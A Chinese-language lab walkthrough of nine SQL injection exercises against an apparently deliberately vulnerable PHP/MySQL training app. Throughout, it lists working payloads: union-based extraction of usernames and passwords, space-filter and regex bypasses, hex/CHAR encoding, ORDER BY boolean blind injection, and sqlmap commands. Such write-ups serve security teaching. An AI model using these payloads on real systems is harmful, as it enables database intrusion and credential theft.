4、 SQL注入题目
4.1 sql1
url为http://129.129.1.38/sqli/example1.php?name=root,下面显示id、name、age的表格。因为是考注入,name的值是直接入数据库查询的。注入先测试单引号'、双引号"、反引号`等。
1.当输入单引号,url为http://129.129.1.38/sqli/example1.php?name=root'表格直接没了,说明很可能有注入,
2.把单引号后面加入注释或再加一个单引号闭合,(注释包括行注释编码的井号#(%23)、行注释两个短横杠加空格-- s、块注释/*)
http://129.129.1.38/sqli/example1.php?name=root' '或http://129.129.1.38/sqli/example1.php?name=root' -- s都能显示正常,说明有注入
3.测试and及or,试and 1=1,and 1=2,or 1=1, or 1=2,如http://129.129.1.38/sqli/example1.php?name=root' or 1=1 -- s, 看看有什么不同,再联想下服务端的具体select查询语句想想为什么是这个结果。
4.测试order by看表有几个字段,从order by 1,order by 5, order by 8,order by 6,如http://129.129.1.38/sqli/example1.php?name=root' order by 5 -- s和http://129.129.1.38/sqli/example1.php?name=root' order by 6 -- s 看看具体的差别,同学习下sql查询语句的order by想一下原因及为什么要测字段数量。
5.测试union select看看几个字段显示出来。http://129.129.1.38/sqli/example1.php?name=root' and 1=2 union select 1,2,3,4,5 -- s 注意,为什么要加入and 1=2,不加行不行,为什么联合查询到1,2,3,4,5,多一个少一个如1,2,3,4行不行? 显示的1,2,3分别代表什么?
6.测试union select查看数据库、用户等信息。如http://129.129.1.38/sqli/example1.php?name=root' and 1=2 union select database(),user(),version(),4,5 -- s 这样就获得了mysql的版号,当前库名,Web使用的数据库用户名。
7.测试union select通过联合查询跨库查系统库和表,都在information_schema库中。
首先在schemata的表中搜索当前用户可查询哪些库schema_name。
http://192.168.1.103/sqli/example1.php?name=root' and 1=2 union select database(),schema_name,version(),4,5 from information_schema.schemata-- s
然后在tables表中搜索在相关库table_schema中有哪些表table_name。
http://192.168.1.103/sqli/example1.php?name=root' and 1=2 union select database(),table_name,version(),4,5 from information_schema.tables where table_schema = "exercises"-- s
然后在columns表中搜索相关库table_schema的相关表table_name中有哪些字段column_name。
http://192.168.1.103/sqli/example1.php?name=root' and 1=2 union select database(),column_name,version(),4,5 from information_schema.columns where table_schema = "exercises" and table_name = "users"-- s
然后利用知道exercies库的user表中的字段名,找出对应的name和passwd。
http://192.168.1.103/sqli/example1.php?name=root' and 1=2 union select database(),name,passwd,4,5 from users -- s
至此,第一关完整结束。
注:最简单的sql注入步骤,1、先利用单双引号、减号、and和or及sql语句注释符判断是否存在注入,以及存在那种类型的注入;2、看是否支持order by,利用order by找到当前查询的字段数量;3、看是否支持联合查询,利用union select查看查询后相关字段的显示位置,然后利用联合查询information_schema库依次找到Web对应的库、表、字段。4、利用联合查询把你想看的库、表、字段给显示出来。
多了解数据库特定函数,database();version();user();current_user();session_user();system_user()等。
4.2 sql2
url为http://192.168.1.119/sqli/example2.php?name=root,下面显示内容与sql1一样。
1、首先是判断是否有注入:
1.1用name=root1,下面有表格,无内容;
1.2用name=root',表格都没有了,应该是有注入;
1.3用name=root'%23,显示正常,说明有注入;
1.4用name=root' %23 ,显示ERRPR NO SPACE,猜测过滤了空格,
2、绕过过滤
一般过滤空格可用%09(制表符),/**/(注释块)来隔开,同时还有其他ASCII符号也可以,可以多试试。如果使用hackbar插件,里面有一键spaces to inline comments,使用的就是/**/注释块,注意-- s中的空格不能用/**/代替。
2.1用name=root'--%09s,成功显示表格内容,证明服务端sql语句可用单引号闭合,过滤空格可用%09代替。
剩余的步骤和sql1一样了。
name=root'/**/and/**/1=2/**/union/**/select/**/1,schema_name,3,4,5/**/from/**/information_schema.schemata%23
name=root'/**/and/**/1=2/**/union/**/select/**/1,table_name,3,4,5/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/"exercises"%23
name=root'/**/and/**/1=2/**/union/**/select/**/1,column_name,3,4,5/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/"users"%23
name=root'/**/and/**/1=2/**/union/**/select/**/name,passwd,3,4,5/**/from/**/users%23
3、使用sqlmap
sqlmap自带一些tamper,可以绕过相关过滤。
python2 sqlmap.py -u http://192.168.0.102/sqli/example2.php?name=root --tamper=space2comment.py
4.3 sql3
url为http://192.168.1.119/sqli/example3.php?name=root,下面显示内容与sql1\2一样。
1、首先是判断是否有注入:
1.1用name=root1,下面有表格,无内容;
1.2用name=root',表格都没有了,应该是有注入;
1.3用name=root'%23,显示正常,说明有注入;
1.4用name=root' %23 ,显示ERRPR NO SPACE,猜测过滤了空格,
1.5同sql2一样用%09(制表符)或/**/(注释块)代替空格。
name=root'/**/order/**/by/**/6%23
name=root'/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5%23
name=root'/**/and/**/1=2/**/union/**/select/**/1,database(),user(),4,5%23
name=root'/**/and/**/1=2/**/union/**/select/**/1,schema_name,3,4,5/**/from/**/information_schema.schemata%23
name=root'/**/and/**/1=2/**/union/**/select/**/1,table_name,3,4,5/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/"exercises"%23
name=root'/**/and/**/1=2/**/union/**/select/**/1,column_name,3,4,5/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/"users"%23
name=root'/**/and/**/1=2/**/union/**/select/**/name,passwd,3,4,5/**/from/**/users%23
与sql2一模一样,那sql3的考点在哪?看服务端源码。
sql2的过滤是 if(preg_match('/ /',$_GET["name"])),就是看name里有空格就执行分支。
sql3的过滤是if(preg_match('/\s+/',$_GET["name"])),用正则,\s匹配任何空白字符,包括空格、制表符、换页符等,就是用%09不行了,但/**/来绕过过滤还可以,因此与sql2一样。
4.4 sql4
url为http://192.168.1.119/sqli/example4.php?id=2,下面显示内容与sql1\2\3一样,但url换成id了,可以先考虑数字型注入,原来的name算是字符型注入,它们的区别是数字型不需要用引号引起来,字符型需要用引号引起代表字符串,因此数字型的引号闭合与字符型不同。
1、首先是判断是否有注入:
1.1用id=1,下面有表格,用户名为admin;
1.2用id=2,下面有表格,用户名为root
1.3用id=2-1,用户名为admin
1.4用id=2-2,有表格,无内容,应该是有注入。
2、先看是否支持order by和union select联合查询。
2.2分布用
id=2 and 1=2 union select 1,2,3,4,5 --+s
id=2 and 1=2 union select 1,database(),3,4,5 --+s
id=2 and 1=2 union select 1,schema_name,3,4,5 from information_schema.schemata --+s
以上都正常,但在加入查询条件字符串时,引号出了点问题。
id=2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema = 'exercises' --+s 无表格,无论用单引号还是双引号,这里只能先用char字符或十六进制代替。
id=2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema = CHAR(101, 120, 101, 114, 99, 105, 115, 101, 115) --+s
或
id=2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema = 0x657865726369736573 --+s
下面的查询同理
id=2 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_schema = 0x657865726369736573 and table_name = CHAR(117, 115, 101, 114, 115)--+s
id=2 and 1=2 union select id,name,passwd,4,5 from users --+s
至于为什么不能用单引号,看服务端源代码,使用了mysql_real_escape_string($_GET["id"])对id进行了处理,mysql_real_escape_string过滤了单双引号等特殊字符。
4.5 sql5
url为http://192.168.1.119/sqli/example5.php?id=2,下面显示内容与sql1\2\3\4一样,数字型注入
1、先判断有没有注入:
id=2%23 正确
id=2'%23 错误
id=2 and 1=1%23 正确
id=2 and 1=2%23 有表格无数据,判断有注入
2、order by和union select测试
id=2 order by 5%23 正确
id=2 order by 6%23 错误,说明5列
id=2 and 1=2 union select 1,2,3,4,5%23
id=2 and 1=2 union select user(),database(),version(),4,5%23
id=2 and 1=2 union select 1,schema_name,3,4,5 from information_schema.schemata%23
id=2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema='exercises'%23
id=2 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_schema='exercises' and table_name='users'%23
id=2 and 1=2 union select id,name,passwd,4,5 from users%23
没任何过滤的做完sql5,比sql4还简单。。看看源代码
!preg_match('/^[0-9]+/',$_GET["id"]), id必须以数字开头。。。估计是用来过滤-1的,用-1的话就可以不用and1=2了。
4.6 sql6
url为http://192.168.0.102/sqli/example6.php?id=2,下面显示内容与sql1\2\3\4一样,数字型注入
id=2%23报错ERROR INTEGER REQUIRED,
好吧,刚看完sql5的源代码,是必须以数字开头,那这个sql6很可能是同时必须以数字结尾
id=2%23 2猜对了,后面的同sql5后面加空格2。不写了。
id=2 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_schema='exercises' and table_name='users'%23 2
id=2 and 1=2 union select id,name,passwd,4,5 from users %23 2
看源代码,
!preg_match('/[0-9]+$/',$_GET["id"]), id必须以数字结尾,出题人明显在应付凑题啊。
4.7 sql7
url为http://192.168.0.102/sqli/example7.php?id=2,下面显示内容与sql1\2\3\4一样,数字型注入
id=2%23报错ERROR INTEGER REQUIRED,
id=2%23 2报错ERROR INTEGER REQUIRED,完了,刚说完凑题,这道直接不会了。
看源代码,
!preg_match('/^-?[0-9]+$/m',$_GET["id"]), id必须以数字开头和结尾,就是必须是数字,dan最后有个/m,就是正则表达式只检查1行,想要绕过就用\n分行,\n后面的字符串preg_match就不管了,\n的ascii十六进制是%0a。
id=2%0a and 1=1 -- 22 正确
id=2%0a and 1=2 -- 22 有表格无数据,证明有注入。
剩下的与sql5一样了,就是把2后面直接加%0a,中间不能由任何包括空格在内的字符。
id=2%0a order by 5%23 2
id=2%0a and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_schema='exercises' and table_name='users'%23 2
id=2%0a and 1=2 union select id,name,passwd,4,5 from users %23 2
还是凑题。
4.8 sql8
url为http://192.168.0.102/sqli/example8.php?order=name, 排序下的注入。
猜测服务端sql查询预计为select * from users order by name。然后name是可直接输入的。在sql语句中,name可以直接用,也可以加反引号``,因此我们在做闭合要考虑这两个方向。
order=age 看到排序有变化,说明猜测正确。
在分别用
order=name` desc %23
order=name` asc %23 能看到两种不同排序,说明asc和desc也放到sql语句中执行了。
因为order by的内容用反引号保护了,我们就不能用5,6来判断select的数量了,而且order by和limit应该是sql语句的最后,因此后面也不能接union联合查询了。
一个正常的select语句如下
SELECT[ALLDISTINCTDISTINCTROW] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHESQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROMtable_references [WHEREwhere_condition] [GROUPBY[ASCDESC], ... [WITHROLLUP]] [HAVINGwhere_condition] [ORDERBY[ASCDESC], ...] [LIMIT{[offset,]row_countrow_countOFFSEToffset}] [PROCEDUREprocedure_name(argument_list)] [INTOOUTFILE'file_name'export_optionsINTODUMPFILE'file_name'INTOvar_name [, var_name]] [FORUPDATELOCKINSHAREMODE]]
order by 里面能用的只能是它后面的字段名、字段序号(整型数字),这里我们可以利用if,case when,mid,ord等mysql的函数来构造分别输出正确和错误的内容,最终判断想要获得的字符串。
如:
order=name`,if(1=1,1,(select 1 from information_schema.tables))%23 正确
order=name`,if(1=2,1,(select 1 from information_schema.tables))%23 错误
这样就能利用1=1和1=2进行盲注,具体如:
order=name`,if((select ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)))>100,1,(select 1 from information_schema.tables))%23
order=name`,if((select ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)))>101,1,(select 1 from information_schema.tables))%23 分别正确和错误,说明information_schema.schemata表查询库名的第2个库名的第一个字母ascii为101,字母是e。
依次类推用盲注的手段获得后续的完整库名、表名、字段名、具体字段等信息。
sqlmap用法:
python sqlmap.py -u "http://192.168.1.108/sqli/example8.php?order=name" -p order --prefix='`' --suffix=# --level=5 --risk=3
注意这里面的坑,反引号必须用单引号括起来,如果用双引号的话,sqlmap会认为你没闭合,直接出个>让你继续写sqlmap命令。
sqlmap这一题的payload是http://192.168.1.108/sqli/example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),6,1))>104) THEN 0x6e616d65 ELSE 0x28 END))#
4.9 sql9
url为http://192.168.1.104/sqli/example9.php?order=name, 排序下的注入,
因为order只能是用反引号或直接使用,先测试用反引号
order=name` %23无表
order=name %23正确,说明比sql8还简单,都不用反引号闭合。
order=name desc %23
再测试直接输入
order=name`,if(1=1,1,(select 1 from information_schema.tables))%23 正确
order=name`,if(1=2,1,(select 1 from information_schema.tables))%23 错误
order=name ,if((select ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)))>100,1,(select 1 from information_schema.tables))%23
order=name ,if((select ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)))>101,1,(select 1 from information_schema.tables))%23
后面就都一样了,
sqlmap也一样,直接--suffix=# --level=5 --risk=3。
python sqlmap.py -u "http://192.168.1.104/sqli/example9.php?order=name" --suffix=# --level=5 --risk=3
Parameter: order (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: order=name RLIKE (SELECT (CASE WHEN (9289=9289) THEN 0x6e616d65 ELSE 0x28 END))#
本文来自企鹅号 - Geeksbaby媒体
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文来自企鹅号 - Geeksbaby媒体
如有侵权,请联系 cloudcommunity@tencent.com 删除。